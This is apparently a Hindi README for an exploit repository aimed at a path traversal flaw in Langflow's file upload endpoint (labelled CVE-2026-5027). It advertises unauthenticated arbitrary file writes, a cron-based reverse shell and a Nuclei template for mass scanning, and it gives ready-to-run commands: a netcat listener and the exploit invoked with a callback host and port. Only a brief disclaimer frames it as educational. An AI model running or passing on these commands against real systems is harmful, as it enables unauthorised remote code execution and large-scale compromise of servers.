---

📌 अवलोकन

Langflow में फ़ाइल अपलोड एंडपॉइंट (POST /api/v2/files) में एक गंभीर पाथ ट्रैवर्सल भेद्यता है।

एक हमलावर ../ अनुक्रम वाला दुर्भावनापूर्ण फ़ाइलनाम भेजकर सर्वर फाइलसिस्टम पर कहीं भी मनमानी फ़ाइलें लिख सकता है।

यह आसानी से पूर्ण रिमोट कोड निष्पादन (RCE) की ओर ले जाता है — उदाहरण के लिए वेबशेल डालकर या क्रॉनटैब में इंजेक्ट करके।

---

🛠️ विशेषताएँ

• ✅ बिना प्रमाणीकरण के शोषण (डिफ़ॉल्ट ऑटो-लॉगिन सेटअप)
• ✅ सरल प्रूफ-ऑफ-कॉन्सेप्ट (/tmp में टेस्ट फ़ाइल लिखता है)
• ✅ क्रॉन के माध्यम से पूर्ण रिवर्स शेल (लिनक्स)
• ✅ मास स्कैनिंग के लिए Nuclei टेम्पलेट शामिल
• ✅ ट्रैवर्सल गहराई को आसानी से अनुकूलित करें

---

🚀 त्वरित आरंभ

1. प्रूफ ऑफ कॉन्सेप्ट (सुरक्षित परीक्षण)

python3 CVE-2026-5027.py -t http://target:7860/ --proof

यदि भेद्य है तो अपेक्षित आउटपुट:

[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt

2. पूर्ण रिवर्स शेल

# Start listener
nc -lvnp 4444

# Run exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444

---

📁 रिपॉजिटरी सामग्री

File	विवरण
CVE-2026-5027.py	मुख्य पायथन एक्सप्लॉइट (PoC + RCE)
CVE-2026-5027.yaml	स्कैनिंग के लिए Nuclei टेम्पलेट
README.md	यह फ़ाइल

---

🎯 उपयोग उदाहरण

प्रूफ मोड

python3 CVE-2026-5027.py -t http://target.com/ --proof

रिवर्स शेल मोड

python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444

---

⚠️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।

जिम्मेदारी से उपयोग करें और केवल उन्हीं सिस्टम पर जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।

---